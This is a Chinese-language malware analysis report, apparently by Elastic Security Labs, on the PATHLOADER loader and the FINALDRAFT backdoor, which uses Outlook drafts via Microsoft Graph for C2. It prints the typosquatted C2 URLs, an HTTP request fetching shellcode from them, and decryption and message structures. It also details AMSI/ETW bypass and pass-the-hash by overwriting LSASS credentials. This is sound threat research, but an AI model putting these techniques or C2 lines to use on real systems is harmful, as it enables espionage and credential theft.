您感染了恶意软件:FINALDRAFT 隐藏在您的草稿中

在最近的一次调查(REF7707)中,Elastic Security Labs 发现了针对外交部的新型恶意软件。该恶意软件包括一个自定义加载器和后门,具有许多功能,包括使用 Microsoft 的 Graph API 进行 C2 通信。

阅读时间:34 分钟恶意软件分析
您感染了恶意软件:FINALDRAFT 隐藏在您的草稿中

总结

在调查 REF7707 时,Elastic 安全实验室发现了一个新的以前未知的恶意软件家族,它通过 Microsoft Graph API 利用 Outlook 作为通信渠道。该后开发工具包包括一个加载器、一个后门以及多个子模块,可实现高级后开发活动。

我们的分析发现了该恶意软件的 Linux 变体和较旧的 PE 变体,每个变体都有多个不同的版本,这表明这些工具已经开发了一段时间。

工具的完整性和所涉及的工程水平表明开发人员的组织性良好。此次行动的延长时间和我们的遥测证据表明,这很可能是一场以间谍为目的的活动。

本报告详细介绍了这些工具的特性和能力。

对于 REF7707 的活动分析 - 请参阅从南美到东南亚:REF7707 的脆弱网络

技术分析

路径加载器

PATHLOADER 是一个 Windows PE 文件,它下载并执行从外部基础设施检索到的加密 shellcode。

我们的团队恢复并解密了 PATHLOADER 检索到的 shellcode,提取了一个我们尚未公开报道的新植入物,我们将其称为 FINALDRAFT。我们相信这两个组件一起被用来渗透敏感环境。

配置

PATHLOADER 是一个轻量级的 Windows 可执行文件,大小为 206 千字节;该程序下载并执行托管在远程服务器上的 shellcode。PATHLOADER 包含存储在.data部分中的嵌入式配置,其中包括 C2 和其他相关设置。

对嵌入的十六进制字符串进行 Base64 解码转换后,恢复原始配置,其中包含两个类似于安全供应商的独特的抢注域名。

https://poster.checkponit.com:443/nzoMeFYgvjyXK3P;https://support.fortineat.com:443/nzoMeFYgvjyXK3P;*|*

来自 PATHLOADER 的配置

API 哈希

为了阻止静态分析工作,PATHLOADER 使用Fowler–Noll–Vo 哈希函数执行 API 哈希处理。我们可以根据二进制文件中出现 37 次的立即数0x1000193来观察到这一点。API 哈希功能以内联形式显示,而不是单独的函数。

字符串混淆

PATHLOADER 使用字符串加密来混淆分析师静态审查程序的功能。虽然在运行时或者使用调试器时字符串很容易解密,但混淆会出现在行中,从而增加了复杂性并且使跟踪控制流变得更具挑战性。这种混淆使用 SIMD(单指令、多数据)指令和 XMM 寄存器来转换数据。

恶意软件开发人员使用的与记录WinHttpSendRequest错误代码相关的一个字符串未加密。

执行/行为

执行时,PATHLOADER 采用GetTickCount64Sleep方法的组合来避免在沙盒环境中立即执行。几分钟后,PATHLOADER 解析其嵌入的配置,循环遍历两个预配置的 C2 域( poster.checkponit[.]comsupport.fortineat[.]com ),尝试通过HTTPS GET请求下载 shellcode。

GET http://poster.checkponit.com/nzoMeFYgvjyXK3P HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Host: poster.checkponit.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36

该 shellcode 采用 AES 加密,并采用 Base64 编码。AES 解密是使用 shellcode 下载 URL 路径“/nzoMeFYgvjyXK3P”作为调用CryptImportKey API 时使用的 128 位密钥来执行的。

CryptDecrypt调用之后,解密的 shellcode 被复制到先前分配的内存中。然后使用NtProtectVirtualMemory API 将内存页面设置为PAGE_EXECUTE_READ_WRITE 。一旦页面设置为适当的保护,就会调用 shellcode 入口点,进而加载并执行下一阶段:FINALDRAFT。

最终草案

FINALDRAFT 是一款用 C++ 编写的 64 位恶意软件,专注于数据泄露和进程注入。它包含额外的模块,被确定为 FINALDRAFT 套件的一部分,可以被恶意软件注入。然后将这些模块的输出转发到 C2 服务器。

入口点

FINALDRAFT 导出单个入口点作为其入口函数。此函数的名称在不同示例中有所不同;在此示例中,它被称为UpdateTask

初始化

该恶意软件通过加载其配置并生成会话 ID 来初始化。

配置加载过程

该配置以加密 blob 中的二进制文件进行硬编码。使用以下算法进行解密。

for ( i = 0; i < 0x149A; ++i )
  configuration[i] ^= decryption_key[i & 7];

配置数据解密算法

解密密钥源自 Windows 产品 ID ( HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId ) 或加密 blob 后面的字符串。这是由位于加密配置 blob 之后的全局标志决定的。

解密密钥派生算法如下:

uint64_t decryption_key = 0;
do
  decryption_key = *data_source++ + 31 * decryption_key;
while ( data_source != &data_source[data_source_length] );

解密密钥派生算法

配置结构描述如下:

struct Configuration // sizeof=0x149a
{
  char c2_hosts_or_refresh_token[5000];
  char pastebin_url[200];
  char guid[36];
  uint8_t unknown_0[4];
  uint16_t build_id;
  uint32_t sleep_value;
  uint8_t communication_method;
  uint8_t aes_encryption_key[16];
  bool get_external_ip_address;
  uint8_t unknown_1[10]
};

配置结构

尽管并非所有字段都被利用,但配置在各个变体和版本中都是一致的。例如,在本文发布时,主要变体中未使用通信方法字段,而仅使用了 MSGraph/Outlook 方法。然而,在 ELF 变体或 FINALDRAFT 的早期版本中并非如此。

该配置还包含一个 Pastebin URL,该 URL 在任何变体中均未使用。但是,这个 URL 对于我们从初始样本进行转变非常有用。

会话 ID 派生过程

FINALDRAFT 和 C2 之间通信使用的会话 ID 是通过创建随机 GUID 生成的,然后使用Fowler-Noll-Vo (FNV) 哈希函数进行处理。

通信协议

在分析过程中,我们发现配置中提供了不同的通信方法;然而,目前最新的样本仅使用COutlookTrans类,该类通过 Microsoft Graph API 滥用 Outlook 邮件服务。Elastic 安全实验室于 2 月 2023 报告了一个之前未知的恶意软件家族SIESTAGRAPH ,该家族也采用了同样的技术,并被归咎于一个与中国有关联的威胁组织。

FINALDRAFT 使用https://login.microsoftonline.com/common/oauth2/token获取 Microsoft Graph API 令牌端點。此端点使用的刷新令牌位于配置中。

刷新后,Microsoft Graph API 令牌将根据用户是否具有管理员权限存储在以下注册表路径中:

  • HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\<uuid_from_configuration>
  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\<uuid_from_configuration>

如果此令牌仍然有效,则可以在多个请求之间重复使用。

通信循环描述如下:

  • 如果尚不存在,请创建一个会话电子邮件草稿。
  • 读取和删除 C2 创建的命令请求电子邮件草稿。
  • 处理命令
  • 为每个处理的命令写出命令响应电子邮件作为草稿。

检查是否已存在以主题p_<session-id>标识的命令响应电子邮件形式表示的会话电子邮件。如果没有,则会在邮件草稿中创建一个。该电子邮件的内容是base64编码的,但不是AES加密的。

会话数据的结构描述如下。

struct Session
{
  char random_bytes[30];
  uint32_t total_size;
  char field_22;
  uint64_t session_id;
  uint64_t build_number;
  char field_33;
};

会话数据结构

通过检查邮件草稿中的最后五封 C2 命令请求电子邮件(主题为r_<session-id>来填充命令队列。

阅读请求后,电子邮件将被删除。

然后处理命令,并将响应写入新的草稿电子邮件中,每个命令响应都有相同的p_<session-id>主题。

消息请求和响应的内容经过Zlib压缩、 AES CBC加密和 Base64 编码。用于加密和解密的 AES 密钥位于配置 blob 中。

Base64(AESEncrypt(ZlibCompress(data)))

从 C2 发送到植入体的请求消息遵循此结构。

struct C2Message{
  struct {
    uint8_t random_bytes[0x1E];  
    uint32_t message_size;    
    uint64_t session_id;      
  } header;                     // Size: 0x2A (42 bytes)
  
  struct {
    uint32_t command_size;                     
    uint32_t next_command_struct_offset;
    uint8_t command_id;                   
    uint8_t unknown[8];                   
    uint8_t command_args[];                       
  } commands[];
};

请求消息结构

从植入物发送到 C2 的响应消息遵循此结构。

struct ImplantMessage {
  struct Header {
    uint8_t random_bytes[0x1E];  
    uint32_t total_size;    
    uint8_t flag;		// Set to 1
    uint64_t session_id;
    uint16_t build_id;
    uint8_t pad[6];
  } header;
  
  struct Message {
    uint32_t actual_data_size_add_0xf;
    uint8_t command_id;
    uint8_t unknown[8];
    uint8_t flag_success;
    char newline[0x2];
    uint8_t actual_data[];
  }                    
};

响应消息结构

以下是植入物窃取数据的一个例子。

命令

FinalDraft 注册了 37 命令处理程序,其大多数功能都围绕进程注入、文件操作和网络代理功能。

下面是命令及其 ID 的表格:

ID名称
0收集计算机信息
2StartTcpServerProxyToC2
3StopTcpServerProxyToC2
4ConnectToTcpTargetStartProxyToC2
5设置睡眠值
6DeleteNetworkProjectorFwRuleAndStopTCPServer
8连接到Tcp目标
9SendDataToUdpOrTcpTarget
10关闭Tcp连接
11执行进程注入发送输出
12列出文件
13列出可用驱动器
14创建目录
15DeleteFileOrDirectory
16下载文件
17UploadFile0
18虚拟函数
19设置当前目录
20获取当前目录
21列出正在运行的进程
24执行进程注入无输出
25DoProcessInjectionNoOutput(与 24 相同)
26DoProcessInjectionSendOutput1
28DisconnectFromNamedPipe
30ConnectToNamedPipeAndProxyMessageToC2
31GetCurrentProcessTokenInformation
32EnumerateActiveSessions
33ListActiveTcpUdpConnections
35MoveFile1
36GetOrSetFileTime
39UploadFile1
41MoveFile0
42CopyFileOrCopyDirectory
43终止进程
44创建进程

FINALDRAFT 命令处理程序表

收集计算机信息

执行GatherComputerInformation命令后,有关受害机器的信息将被FINALDRAFT收集并发送。该信息包括计算机名称、账户用户名、内部和外部 IP 地址以及有关正在运行的进程的详细信息。

该结构描述如下:

struct ComputerInformation
{
  char field_0;
  uint64_t session_id;
  char field_9[9];
  char username[50];
  char computer_name[50];
  char field_76[16];
  char external_ip_address[20];
  char internal_ip_address[20];
  uint32_t sleep_value;
  char field_B2;
  uint32_t os_major_version;
  uint32_t os_minor_version;
  bool product_type;
  uint32_t os_build_number;
  uint16_t os_service_pack_major;
  char field_C2[85];
  char field_117;
  char current_module_name[50];
  uint32_t current_process_id;
};

收集的信息结构

在配置中启用时会收集外部 IP 地址。

该地址由 FINALDRAFT 使用以下公共服务列表获取。

公共服务
hxxps://ip-api.io/json
hxxps://ipinfo.io/json
hxxps://myexternalip.com/raw
hxxps://ipapi.co/json/
hxxps://jsonip.com/

IP 查询服务列表

进程注入

FINALDRAFT 有多个与进程注入相关的命令,可以注入到正在运行的进程中,或者创建一个隐藏的进程进行注入。

在创建进程的情况下,目标进程要么是作为命令参数提供的可执行路径,要么默认为mspaint.execonhost.exe作为后备。

根据命令及其参数,可以选择性地创建该进程并通过管道传输其标准输出句柄。在这种情况下,一旦注入进程,FINALDRAFT 就会从管道的输出中读取并将其内容与命令响应一起发送。

还有另一种选择,FINALDRAFT 在创建和注入进程后,不是通过管道传输进程的标准句柄,而是等待有效负载创建 Windows 命名管道。然后,它连接到管道,向其中写入一些信息,读取其输出,并通过单独的通道将数据发送到 C2。(对于 Outlook 传输通道,这涉及创建额外的电子邮件草稿。)

进程注入过程很基础,基于VirtualAllocExWriteProcessMemoryRtlCreateUserThread API。

从 TCP、UDP 和命名管道转发数据

FINALDRAFT 提供了多种将数据代理到 C2 的方法,包括 UDP 和 TCP 监听器以及命名管道客户端。

代理 UDP 和 TCP 数据涉及根据协议以不同方式处理传入通信。对于 UDP,直接从发送方接收消息,而对于 TCP,在接收数据之前接受客户端连接。在这两种情况下,数据都从套接字读取并转发到传输通道。

下面是来自 UDP 侦听器的recvfrom调用的示例屏幕截图。

在启动 TCP 侦听服务器之前,FINALDRAFT 会向 Windows 防火墙添加一条规则。当服务器关闭时,此规则将被删除。为了添加/删除这些规则,恶意软件使用COMINetFwPolicy2INetFwRule接口。

FINALDRAFT 还可以与目标建立 TCP 连接。在这种情况下,它会发送一个魔法值“\x12\x34\xab\xcd\ff\xff\xcd\xab\x34\x12” ,并期望服务器在开始转发接收到的数据之前回显相同的魔法值。

对于命名管道,FINALDRAFT 仅连接到现有管道。必须将管道名称作为参数提供给命令,然后它会读取数据并通过单独的通道转发。

文件操作

对于文件删除功能,FINALDRAFT 通过在删除文件数据之前用零覆盖文件数据来防止文件恢复。

FINALDRAFT 默认将文件复制设置为CopyFileW 。但是,如果失败,它将尝试在 NTFS 群集级别复制文件。

它首先将源文件作为驱动器句柄打开。为了检索文件所在卷的簇大小,它使用GetDiskFreeSpaceW来检索有关每个簇的扇区数和每个扇区的字节数的信息。然后使用DeviceIoControl调用FSCTL_GET_RETRIEVAL_POINTERS来检索范围的详细信息:磁盘上存储指定文件的数据的位置以及按簇大小存储了多少数据。

对于每个范围,它使用SetFilePointer将源文件指针移动到卷中的相应偏移量;每次从源文件读取和写入一个数据簇到目标文件。

如果文件没有相关的簇映射,则它就是常驻文件,数据将存储在 MFT 本身中。它使用文件的 MFT 索引来获取其原始 MFT 记录。然后解析该记录以找到$DATA属性(类型标识符 = 128)。然后从该属性中提取数据并使用WriteFile写入目标文件。

注入模块

我们的团队观察到通过DoProcessInjectionSendOutputEx命令处理程序加载的几个附加模块执行进程注入并通过命名管道写回输出。FINALDRAFT 注入的这个 shellcode 利用了著名的sRDI项目,能够将成熟的 PE DLL 加载到同一进程内的内存中,解析其导入并调用其导出入口点。

网络枚举 ( ipconfig.x64.dll )

此模块创建一个命名管道( \\.\Pipe\E340C955-15B6-4ec9-9522-1F526E6FBBF1 )等待 FINALDRAFT 与其连接。也许是为了防止分析/沙盒,威胁行为者使用密码( Aslire597 )作为参数,如果密码不正确,模块将不会运行。

顾名思义,该模块是 ipconfig 命令的自定义实现,使用 Windows API( GetAdaptersAddressesGetAdaptersInfoGetNetworkParams )检索网络信息并读取 Windows 注册表键路径( SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces )。检索到数据后,通过命名管道将其发送回 FINALDRAFT。

PowerShell 执行( Psloader.x64.dll

该模块允许操作员无需调用powershell.exe二进制文件即可执行 PowerShell 命令。所用代码取自著名开源攻击性安全工具PowerPick

为了逃避检测,该模块首先挂接EtwEventWriteReportEventWAmsiScanBuffer API,强制它们始终返回0 ,从而禁用 ETW 日志记录并绕过反恶意软件扫描。

接下来,DLL 使用 CLR Hosting 技术 加载存储在其 部分中的 .NET payload( PowerPick .data)。

该模块创建一个命名管道( \\.\Pipe\BD5AE956-0CF5-44b5-8061-208F5D0DBBB2 ),用于命令转发和输出检索。主线程被指定为接收器,同时创建辅助线程来将数据写入管道。最后,模块加载并执行托管的PowerPick二进制文件。

传递哈希工具包 ( pnt.x64.dll )

该模块是一个自定义的传递哈希(PTH)工具包,用于使用窃取的 NTLM 哈希启动新进程。此 PTH 实现很大程度上受到了Mimikatz所用实现的启发,可以实现横向移动。

此模块需要密码( Aslire597 )、域和带有 NTLM 哈希的用户名以及要提升的程序的文件路径。在我们的示例中,该命令行由 sRDI shellcode 加载。下面是命令行的一个示例。

program.exe <password> <domain>\<account>:<ntlm_hash> <target_process>

与其他模块一样,它创建一个命名管道“ \\.\Pipe\EAA0BF8D-CA6C-45eb-9751-6269C70813C9 ”,并等待来自 FINALDRAFT 的传入连接。该命名管道作为日志通道。

建立管道连接后,恶意软件使用CreateProcessWithLogonW创建处于暂停状态的目标进程,识别本地安全机构子系统服务 (LSASS) 进程中的LogonSessionListLogonSessionListCount等关键结构,并以提供的参数指定的登录会话为目标。

一旦匹配到正确的会话,LSASS 内部的当前凭证结构将被提供的 NTLM 哈希而不是当前用户的 NTLM 哈希覆盖,最后恢复进程线程。Praetorian 在博客文章“ Mimikatz 传递哈希命令内部(第 2 部分) ”中很好地解释了这项技术。然后将结果发送到命名管道。

FINALDRAFT ELF 变体

在本次调查中,我们发现了 FINALDRAFT 的 ELF 变种。此版本比 PE 版本支持更多的传输协议,但功能较少,表明它可能正在开发中。

附加传输通道

FINALDRAFT 的 ELF 变体支持七种用于 C2 传输通道的附加协议:

C2 通信协议
HTTP/HTTPS
反向 UDP
ICMP
绑定 TCP
反向 TCP
DNS
通过 REST API 的 Outlook(可以与 API 代理通信)
通过 Graph API 进行 Outlook

FINALDRAFT ELF 变体 C2 通信选项

从发现的 ELF 样本中,我们已经确定了配置为通过 Graph API 通道使用 HTTP 和 Outlook 的植入程序。

虽然代码结构与最新的 PE 样本相似,但在本文发布时,植入物的某些功能已被修改以符合 Linux 环境。例如,请求的新 Microsoft OAuth 刷新令牌将被写入磁盘上的文件,如果无法写入先前的文件,则写入/var/log/installlog.log.<UUID_from_config>/mnt/hgfsdisk.log.<UUID_from_config>

下面是使用 HTTP 通道的配置片段。我们可以看到两个 C2 服务器代替了 Microsoft 刷新令牌、端口号0x1bb ( 443 ) 位于偏移量0xc8处,使用 HTTPS 的标志位于偏移量0xfc处。

这些域名是专门设计来抢注知名供应商的域名,例如“VMSphere”(VMware vSphere)。但目前尚不清楚“Hobiter”此次试图冒充的是哪个供应商。

C2
support.vmphere.com
update.hobiter.com

域名列表

命令

所有命令都与 Windows 对应命令重叠,但提供的选项较少。有两个 C2 命令专门用于收集有关受害者机器的信息。这些命令一起收集以下详细信息:

  • 主机名
  • 当前登录用户
  • 内网IP地址
  • 外部 IP 地址
  • 网关 IP 地址
  • 系统启动时间
  • 操作系统名称和版本
  • 内核版本
  • 系统架构
  • 机器 GUID
  • 活动网络连接列表
  • 正在运行的进程列表
  • 当前进程的名称

命令执行

虽然没有进程注入功能,但植入物可以直接执行 shell 命令。它利用popen执行命令,捕获标准输出和错误,并将结果发送回 C2 基础设施。

自我删除

为了动态解析当前正在运行的可执行文件的路径,其指向可执行映像的符号链接被传递给sys_readlink 。然后调用sys_unlink从文件系统中删除可执行文件。

较旧的 FINALDRAFT PE 示例

在调查过程中,我们发现了 FINALDRAFT 的旧版本。此版本支持一半的命令,但在 MS Graph API/Outlook 传输通道旁边包含一个附加传输协议。

二进制文件的名称为Session.x64.dll ,其入口点导出称为GoogleProxy

HTTP 传输通道

此旧版本的 FINALDRAFT 根据配置在 Outlook 或 HTTP 传输通道之间进行选择。

在此示例中,配置包含主机列表,而不是主示例中的刷新令牌。PATHLOADER 使用了这些相同的域,域( checkponit[.]com )于 2022-08-26T 09 : 43 :16Z 注册,域( fortineat[.]com )于 2023-11-08T 09 : 47 :47Z 注册。

在本例中,这些域名故意抢注了真正知名供应商CheckPointFortinet 的域名。

C2
poster.checkponit[.]com
support.fortineat[.]com

域名列表

Shell 命令

此示例中存在一个附加命令,但后续版本中不再存在该命令。该命令(ID 为1 )执行一个 shell 命令。

执行过程是创建一个带有"/c"参数的cmd.exe进程,然后将实际命令附加到该参数。

检测

Elastic Defend 通过两条规则检测进程注入机制。第一条规则检测针对另一个进程的WriteProcessMemory API 调用,这是进程注入技术中常见的行为。

第二条规则检测是否创建了远程线程来执行 shellcode。

我们还检测到Psloader.x64.dll模块对 PowerShell 引擎的加载,该模块被注入到已知目标mspaint.exe中。

恶意软件和 MITRE ATT&CK

Elastic 使用MITRE ATT&CK框架来记录威胁针对企业网络使用的常见策略、技术和程序。

战术

技术

技术代表对手如何通过采取行动来实现战术目标。

缓解措施

检测

雅拉

Elastic Security 已创建与本文相关的以下 YARA 规则:

观察结果

本研究讨论了以下可观察结果:

可观测类型参考日期
9a11d6fcf76583f7f70ff55297fb550fed774b61f35ee2edd95cf6f959853bcfSHA256路径加载器VT 首次出现:2023-05-09 09 : 44 :45 UTC
39e85de1b1121dc38a33eca97c41dbd9210124162c6d669d28480c833e059530SHA256FINALDRAFT 初始样本遥测首次出现时间:2024-11-28 20 : 49 :18.646
83406905710e52f6af35b4b3c27549a12c28a628c492429d3a411fdb2d28cc8cSHA256FINALDRAFT ELF 变体VT 首次出现:2024-10-05 07 : 15 :00 UTC
poster.checkponit[.]comPATHLOADER/FINALDRAFT 域创建日期:2022-08-26T 09 : 43 :16Z 有效期至:2025-08-26T 07 : 00 :00Z
support.fortineat[.]comPATHLOADER/FINALDRAFT 域创建日期:2023-11-08T 09 : 47 :47Z 有效期至:2024-11-08T 09 : 47 :47.00Z
support.vmphere[.]comFINALDRAFT 域名创建日期:2023-09-12T 12 : 35 :57Z 有效期至:2025-09-12T 12 : 35 :57Z
update.hobiter[.]comFINALDRAFT 域名创建日期:2023-09-12T 12 : 35 :58Z 有效期至:2025-09-12T 12 : 35 :58Z